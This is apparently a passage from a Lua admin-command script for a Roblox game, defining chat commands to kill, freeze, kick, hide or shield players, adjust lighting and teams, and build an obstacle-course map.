- --Define commands
- RunModule('CommandModule','/die','Kills the given user','/d','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were ownd!' ,Target.PlayerGui)
- hgf(Target, 'Pink')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Humanoid') then
- Child.Health=0;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/ffon','Gives the given user a forcefield','/ff','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- NewInstance('ForceField',Target.Character);
- mwq('[API]; You were quick protectd!' ,Target.PlayerGui)
- hgf(Target, 'Really red')
- end
- end
- end)
- RunModule('CommandModule','/ffoff','Removes the given user forcefield','/unf','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were unprotectd!' ,Target.PlayerGui)
- hgf(Target, 'Really blue')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='ForceField') then
- Child:Remove()
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/god','Makes the given user immune to all health damage','/g','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were max healthd!' ,Target.PlayerGui)
- hgf(Target, 'White')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Humanoid') then
- Child.MaxHealth=math.huge;
- Child.Health=math.huge;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/nogod','Reverses the effect of immortalon','/ng','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were unmax healthd!' ,Target.PlayerGui)
- hgf(Target, 'Really black')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Humanoid') then
- Child.MaxHealth=100;
- Child.Health=100;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/invisibleon','Makes the given user invisible','/inv','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were max transparentd!' ,Target.PlayerGui)
- hgf(Target, 'Blue')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Part') then
- Child.Transparency=1;
- elseif (Child.className=='Hat') then
- local Handle=Child:FindFirstChild('Handle');
- if (Handle~=nil) then
- if (Handle.className=='Part') then
- Handle.Transparency=1;
- end
- end
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/invisibleoff','Makes the given user visible','/vis','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were unmax transparentd!' ,Target.PlayerGui)
- hgf(Target, 'Purple')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Part') then
- Child.Transparency=0;
- elseif (Child.className=='Hat') then
- local Handle=Child:FindFirstChild('Handle');
- if (Handle~=nil) then
- if (Handle.className=='Part') then
- Handle.Transparency=0;
- end
- end
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/des','Kicks the given user from the game','/de','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; Destroyd the target from game.' ,low)
- hgf(Target, 'Dark green')
- RunModule('DisposePlayer',Target,Speaker);
- end
- end
- end)
- RunModule('CommandModule','/anc','Freezes the given user','/fre','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were frozed!' ,Target.PlayerGui)
- hgf(Target, 'Navy blue')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Part') then
- Child.Anchored=true;
- elseif (Child.className=='Humanoid') then
- Child.WalkSpeed=0;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/unanc','Thaws the given user','/thaw','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- mwq('[API]; You were unfrozed!' ,Target.PlayerGui)
- hgf(Target, 'Medium stone grey')
- if (Target.Character~=nil) then
- for ChildIndex,Child in pairs(Target.Character:GetChildren()) do
- if (Child.className=='Part') then
- Child.Anchored=false;
- elseif (Child.className=='Humanoid') then
- Child.WalkSpeed=16;
- end
- end
- end
- end
- end
- end)
- RunModule('CommandModule','/maxplayers','Sets the servers MaxPlayers.','/mp','#cs#(%d+)',function(Speaker,Integer)
- if (Integer~=nil) and (Integer>0) then
- game:GetService('Players').MaxPlayers=Integer;
- mwq('[API]; Changd the maxplayers.' ,low)
- end
- end)
- RunModule('CommandModule','/time','Sets the ambient time','/tm','#cs#(%w+)',function(Speaker,Input)
- mwq('[API]; Changd the time lapse.' ,low)
- local ParsedInput;
- if (Input=='dawn' or Input=='sunrise') then
- ParsedInput=6;
- elseif (Input=='noon' or Input=='midday') then
- ParsedInput=12;
- elseif (Input=='middnight') then
- ParsedInput=0;
- elseif (Input=='random') then
- ParsedInput=math.random(0,24);
- end
- if (ParsedInput==nil) and (Input:find('(%d+)')==1) then
- ParsedInput=Input:match('%d+');
- end
- pcall(function() game:GetService('Lighting').TimeOfDay=ParsedInput; end)
- end)
- RunModule('CommandModule','/brightness','Sets the ambient brightness','/b','#cs#(%d+)',function(Speaker,Integer)
- if (Integer~=nil) then
- mwq('[API]; Changd the lighting.' ,low)
- game:GetService('Lighting').Brightness=tonumber(Integer);
- end
- end)
- RunModule('CommandModule','/newteam','Creates a new team','/newt','#cs#(.+)',function(Speaker,Input)
- mwq('[API]; Created a new team.' ,low)
- local Teams=game:GetService('Teams');
- local Team=NewInstance('Team');
- local TeamName,R,G,B=Input:match(RunModule('ParseMatch','(.-)#cs#(%d+)#cs#(%d+)#cs#(%d+)'));
- if (R~=nil) and (G~=nil) and (B~=nil) then
- Team.TeamColor=NewBrickColor(R/255,G/255,B/255);
- Team.Name=TeamName;
- Team.AutoColorCharacters=false;
- Team.Parent=Teams;
- else
- Team.TeamColor=RandomBrickColor();
- Team.Name=Input;
- Team.AutoColorCharacters=false;
- Team.Parent=Teams;
- end
- end,true)
- RunModule('CommandModule','/switchteam','Switches the given user to a different team','/swt','#cs#(.-)#cs#(.+)',function(Speaker,Usernames,TeamName)
- local Targets=RunModule('GetPlayer',Usernames,Speaker);
- local Teams=game:GetService('Teams');
- local SelectedTeam;
- for TeamIndex,Team in pairs(Teams:GetTeams()) do
- if (Team.Name:lower():find(TeamName)==1) then
- SelectedTeam=Team;
- end
- end
- if (SelectedTeam==nil) then return end
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- Target.TeamColor=SelectedTeam.TeamColor;
- Target.Neutral=false;
- end
- end
- end)
- RunModule('CommandModule','/removeteam','Removes the given team','/remt','#cs#(.+)',function(Speaker,TeamName)
- mwq('[API]; Removed a team.' ,low)
- local Teams=game:GetService('Teams');
- for Index,Team in pairs(Teams:GetTeams()) do
- if (Team.Name:lower():find(TeamName:lower())==1) then
- Team:Remove();
- end
- end
- if (#Teams:GetTeams()==0) then
- for Index,Player in pairs(game:GetService('Players'):GetPlayers()) do
- Player.Neutral=true;
- end
- end
- end)
- RunModule('CommandModule','/neutralon','Makes the given user neutral (Player.Neutral)','/neuon','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- Target.Neutral=true;
- end
- end
- end)
- RunModule('CommandModule','/neutraloff','Makes the given user not neutral (Player.Neutral)','/neuoff','#cs#(.+)',function(Speaker,...)
- local Targets=RunModule('GetPlayer',...,Speaker);
- if (Targets~=nil) then
- for Index,Target in pairs(Targets) do
- Target.Neutral=false;
- end
- end
- end)
- RunModule('CommandModule','/adminlist','Shows the admin list','/cal','#cs#',function(Speaker)
- local Index=0;
- local DisplayText=string.rep(' ',40)..'Adminlist: '..table.concat(MaskAdminlist,', ');
- local Hint=RunModule('ShowHint',Speaker,DisplayText);
- while RunModule('ScrollText',DisplayText,Index)~='' do
- Hint.Text=RunModule('ScrollText',DisplayText,Index);
- Index=Index+1;
- wait(0.05);
- end
- Hint.Parent=nil;
- end)
- RunModule('CommandModule','/bannedlist','Shows the banned list','/cbl','#cs#',function(Speaker)
- local Index=0;
- local DisplayText=string.rep(' ',40)..'Bannedlist: '..table.concat(Bannedlist,', ');
- local Hint=RunModule('ShowHint',Speaker,DisplayText);
- while RunModule('ScrollText',DisplayText,Index)~='' do
- Hint.Text=RunModule('ScrollText',DisplayText,Index);
- Index=Index+1;
- wait(0.05);
- end
- Hint.Parent=nil;
- end)
- RunModule('CommandModule','/hint','Creates a hint','/hn','#cs#(.+)',function(Speaker,Text)
- local Hint=NewInstance('Hint')
- Hint.Parent=Workspace;
- Hint.Text=Text;
- delay(5,function() Hint:Remove() end)
- end,true)
- RunModule('CommandModule','/lool','Creates a message','/trol','#cs#(.+)',function(Speaker,Text)
- local Hint=NewInstance('Message')
- Hint.Parent=Workspace;
- Hint.Text=Text;
- delay(5,function() Hint:Remove() end)
- end,true)
- RunModule('CommandModule','/sfothgame','Creates a SFOTHO Game','/sfg','#cs#(.+)',function(Speaker,Text)
- qwe('[API]; SFOTHO Loaded!')
- G=workspace
- Q = new('Part')
- Q.Parent = G
- Q.Size = vnew(64,244,64)
- Q.CFrame = fnew(-70, 123.4, -186)
- Q.Anchored = true
- Q.Locked = false
- Q.BrickColor = bcn('Reddish brown')
- --[[===[SKY??]===]]--
- local EQ = Instance.new('Sky')
- EQ.Parent = game.Lighting
- EQ.SkyboxBk = 'http://www.roblox.com/asset/?version=1&id=1012890'
- EQ.SkyboxDn = 'http://www.roblox.com/asset/?version=1&id=1012891'
- EQ.SkyboxFt = 'http://www.roblox.com/asset/?version=1&id=1012887'
- EQ.SkyboxLf = 'http://www.roblox.com/asset/?version=1&id=1012889'
- EQ.SkyboxRt = 'http://www.roblox.com/asset/?version=1&id=1012888'
- EQ.SkyboxUp = 'http://www.roblox.com/asset/?version=1&id=1014449'
- --[[==[PARTS]==]]--
- Q1 = new('Part')
- Q1.Parent = G
- Q1.Size = vnew(42, 20.4, 12)
- Q1.CFrame = fnew(-69, 219.4, -224)
- Q1.Anchored = true
- Q1.Locked = false
- Q1.BrickColor = bcn('Reddish brown')
- Q14 = new('Part')
- Q14.Parent = AW
- Q14.Size = vnew(6, 0.4, 6)
- Q14.CFrame = fnew(67, 246.8, -184)
- Q14.Anchored = true
- Q14.Locked = false
- Q14.BrickColor = bcn('Bright green')
- Q145 = new('Part')
- Q145.Parent = AW
- Q145.Size = vnew(8, 0.4, 8)
- Q145.CFrame = fnew(67, 246.4, -184)
- Q145.Anchored = true
- Q145.Locked = false
- Q145.BrickColor = bcn('Black')
- Q14 = new('Part')
- Q14.Parent = AW
- Q14.Size = vnew(6, 0.4, 6)
- Q14.CFrame = fnew(-193, 255.2, -182)
- Q14.Anchored = true
- Q14.Locked = false
- Q14.BrickColor = bcn('Bright green')
- Q147 = new('Part')
- Q147.Parent = AW
- Q147.Size = vnew(5, 1.2, 105)
- Q147.CFrame = fnew(-68.5, 245.6, 74.5)
- Q147.Anchored = true
- Q147.Locked = false
- Q147.BrickColor = bcn('Dark stone grey')
- Q145 = new('Part')
- Q145.Parent = AW
- Q145.Size = vnew(8, 0.4, 8)
- Q145.CFrame = fnew(-193, 254.8, -182)
- Q145.Anchored = true
- Q145.Locked = false
- Q145.BrickColor = bcn('Black')
- Q13 = new('Part')
- Q13.Parent = G
- Q13.Size = vnew(18, 1.2, 18)
- Q13.CFrame = fnew(30.12, 245.8, -185.9)
- Q13.Anchored = true
- Q13.Locked = false
- Q13.BrickColor = bcn('Bright orange')
- --[[==[PLATE TEMPLATE]==]]--
- Q7 = new('Part')
- Q7.Parent = G
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -93)
- Q7.Anchored = true
- Q7.Locked = false
- Q7.BrickColor = bcn('Dark stone grey')
- --[[=====[SPAWNS]=====]]--
- Q11 = new('SpawnLocation')
- Q11.Parent = G
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-44, 245.8, -160)
- Q11.Anchored = true
- Q11.Locked = false
- Q11.BrickColor = bcn('Bright yellow')
- Q11.TopSurface = 'Smooth'
- D = new('Decal')
- D.Parent = Q11
- D.Texture = 'rbxasset://Textures/SpawnLocation.png'
- D.Face = 'Top'
- Q11 = Q11:Clone()
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-44, 245.8, -212)
- Q11.Parent = G
- Q11 = Q11:Clone()
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-96, 245.8, -212)
- Q11.Parent = G
- Q11 = Q11:Clone()
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-96, 245.8, -160)
- Q11.Parent = G
- Q11 = Q11:Clone()
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-153, 285, -108)
- Q11.Parent = G
- Q11 = Q11:Clone()
- Q11.Size = vnew(6, 1.2, 6)
- Q11.CFrame = fnew(-69, 245.6, 12)
- Q11.Parent = G
- --[[====[PLATES]====]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(17, 1.2, 18)
- Q1.CFrame = fnew(-30.5, 245.8, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(18, 1.2, 18)
- Q1.CFrame = fnew(-70, 244.6, -145)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 18)
- Q1.CFrame = fnew(-103, 245.8, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-55, 230.2, -233)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-53, 231.4, -238)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-49, 232.6, -243)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-44, 233.8, -249)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-40, 235, -255)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-36, 236.2, -261)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-31, 237.4, -265)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-28, 238.6, -270)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-26, 239.8, -276)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-23, 241, -281)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-23, 242.2, -289)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 1.2, 10)
- Q1.CFrame = fnew(-24, 243.4, -295)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(15, 1.2, 18)
- Q1.CFrame = fnew(-26.5, 244.6, -304)
- Q1.Parent = G
- --[[====[MOUNTIAN]====]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(54, 243.6, 51)
- Q1.CFrame = fnew(-61, 123, -308.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(3, 2.4, 12)
- Q1.CFrame = fnew(-55.5, 246, -289)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(3, 4.8, 10)
- Q1.CFrame = fnew(-58.5, 247.2, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 6, 10)
- Q1.CFrame = fnew(-62, 247.8, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 7.2, 10)
- Q1.CFrame = fnew(-66, 248.4, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 8.4, 10)
- Q1.CFrame = fnew(-69, 249, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 9.6, 10)
- Q1.CFrame = fnew(-71, 249.6, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 12, 10)
- Q1.CFrame = fnew(-73, 250.8, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(3, 13.2, 10)
- Q1.CFrame = fnew(-75.5, 251.4, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(3, 13.2, 10)
- Q1.CFrame = fnew(-75.5, 251.4, -288)
- Q1.Parent = G
- --[[===[CONFUSIONS]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(8, 14.4, 10)
- Q1.CFrame = fnew(-81, 252, -288)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(8, 16.8, 10)
- Q1.CFrame = fnew(-81, 253.2, -298)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(5, 18, 10)
- Q1.CFrame = fnew(-74.5, 253.8, -298)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(5, 20.4, 10)
- Q1.CFrame = fnew(-69.5, 255, -298)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(3, 21.6, 10)
- Q1.CFrame = fnew(-65.5, 255.6, -298)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 22.8, 10)
- Q1.CFrame = fnew(-63, 256.2, -298)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(5, 25.2, 10)
- Q1.CFrame = fnew(-59.5, 257.4, -298)
- Q1.Parent = G
- --[[===[LASTSTEPS]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(12, 26.4, 8)
- Q1.CFrame = fnew(-51, 258, -299)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(10, 26.4, 2)
- Q1.CFrame = fnew(-49, 258, -304)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(10, 27.6, 3)
- Q1.CFrame = fnew(-49, 258.6, -306.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(10, 30, 3)
- Q1.CFrame = fnew(-49, 259.8, -309.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(11, 31.2, 5)
- Q1.CFrame = fnew(-48.5, 260.4, -313.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(11, 33.6, 2)
- Q1.CFrame = fnew(-48.5, 261.6, -317)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(11, 34.8, 2)
- Q1.CFrame = fnew(-48.5, 262.2, -319)
- Q1.Parent = G
- --[[===[END=OF=THE=MOUNTIAN]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(11, 36, 7)
- Q1.CFrame = fnew(-48.5, 262.8, -323.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(32, 37.2, 24)
- Q1.CFrame = fnew(-70, 263.4, -315)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(8, 9.6, 16)
- Q1.CFrame = fnew(-90, 277.2, -316)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(6, 9.6, 12)
- Q1.CFrame = fnew(-97, 277.2, -315.5)
- Q1.Parent = G
- --[[===[TIGHT=ROPES]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(31, 1.2, 2)
- Q1.CFrame = fnew(-111.5, 282.6, -317)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 1.2, 201)
- Q1.CFrame = fnew(-126, 283.8, -220)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(34, 283.2, 32)
- Q1.CFrame = fnew(-144, 142.8, -109)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(92, 1.2, 2)
- Q1.CFrame = fnew(-85, 285.2, -98)
- Q1.Parent = G
- --[[==[WOBBLYS]==]]--
- Q13 = Q13:Clone()
- Q13.Size = vnew(18, 1.2, 18)
- Q13.CFrame = fnew(-9.87, 245.8, -185.9)
- Q13.Parent = G
- Q13 = Q13:Clone()
- Q13.Size = vnew(18, 1.2, 18)
- Q13.CFrame = fnew(10.12, 245.8, -185.9)
- Q13.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(32, 244.8, 32)
- Q1.CFrame = fnew(57, 123.8, -186)
- Q1.Parent = G
- --[[===[FINISH]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 16)
- Q1.CFrame = fnew(-104, 247.2, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 14)
- Q1.CFrame = fnew(-106, 248.4, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 12)
- Q1.CFrame = fnew(-108, 249.6, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 10)
- Q1.CFrame = fnew(-110, 250.8, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 8)
- Q1.CFrame = fnew(-112, 252, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 6)
- Q1.CFrame = fnew(-114, 253.2, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 4)
- Q1.CFrame = fnew(-116, 254.4, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(43, 1.2, 2)
- Q1.CFrame = fnew(-137.5, 255.6, -186)
- Q1.Parent = G
- --[[==[HEALPLAT]==]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(8, 253.2, 8)
- Q1.CFrame = fnew(-161, 128, -186)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(10, 253.2, 15)
- Q1.CFrame = fnew(-170, 128, -184.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(20, 253.2, 29)
- Q1.CFrame = fnew(-185, 128, -182.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 253.2, 18)
- Q1.CFrame = fnew(-197, 128, -183)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(2, 1.2, 22)
- Q1.CFrame = fnew(-186.5, 255.2, -204.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(32, 243.6, 32)
- Q1.CFrame = fnew(-188, 123.2, -319)
- Q1.Parent = G
- --[[===[BIGPLATS]==]]--
- --[[while true do
- Q1.Transparency = 0.4
- wait(1)
- Q1.Transparency = 0.5
- wait(1)
- Q1.Transparency = 0.6
- wait(1)
- Q1.Transparency = 0.7
- wait(1)
- Q1.Transparency = 0.8
- wait(1)
- Q1.Transparency = 0.9
- wait(1)
- Q1.Transparency = 1
- wait(1)
- Q1.Transparency = 0.9
- wait(1)
- Q1.Transparency = 0.8
- wait(1)
- Q1.Transparency = 0.7
- wait(1)
- Q1.Transparency = 0.6
- wait(1)
- end]]--
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -127)
- Q7.BrickColor = bcn('Dark stone grey')
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -127)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -127)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -110)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -110)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -110)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -93)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -93)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -93)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -76)
- Q7.BrickColor = bcn('Black')
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -76)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -76)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -59)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -59)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -59)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -42)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -42)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -42)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -25)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -25)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -25)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-86, 244.8, -8)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-69, 244.8, -8)
- Q7.Parent = G
- Q7 = Q7:Clone()
- Q7.Size = vnew(16, 1.2, 16)
- Q7.CFrame = fnew(-52, 244.8, -8)
- Q7.Parent = G
- --[[===[CLONERS]===]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(16, 243.5, 22)
- Q1.CFrame = fnew(-69, 123.2, 12)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(5, 1.2, 105)
- Q1.CFrame = fnew(-68.5, 245.6, 74.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(33, 244.8, 32)
- Q1.CFrame = fnew(-67.5, 122.6, 141)
- Q1.Parent = G
- --[[==[CONNECT]==]]--
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 0.4, 3)
- Q1.CFrame = fnew(-69, 283.6, -307.5)
- Q1.Parent = G
- Q1 = Q1:Clone()
- Q1.Size = vnew(4, 1.2, 3)
- Q1.CFrame = fnew(-69, 282.8, -307.5)
- Q1.Parent = G
- e11.LinkedSword:clone().Parent = game.StarterPack
- end)
- RunModule('CommandModule','/guimessage','Creates a gui message','/gms','#cs#(.+)',function(Speaker,Text) qwq(Text) end)
- RunModule('CommandModule','/guihint','Creates a gui hint','/ghs','#cs#(.+)',function(Speaker,Text) qwe(Text) end)
- RunModule('CommandModule','/ouput','Creates a output message','/wad','#cs#(.+)',function(Speaker,Text) notsq({{Text, Random},{Text, Random},{Text, Random},{Text, Random},{Text, Random}}) qwsqd({{Text, Random}}) end)
- RunModule('CommandModule','/global','Creates a output message','/wad2','#cs#(.+)',function(Speaker,Text) notsq({{Text}}) qwsqd({{Text, Random}}) end)
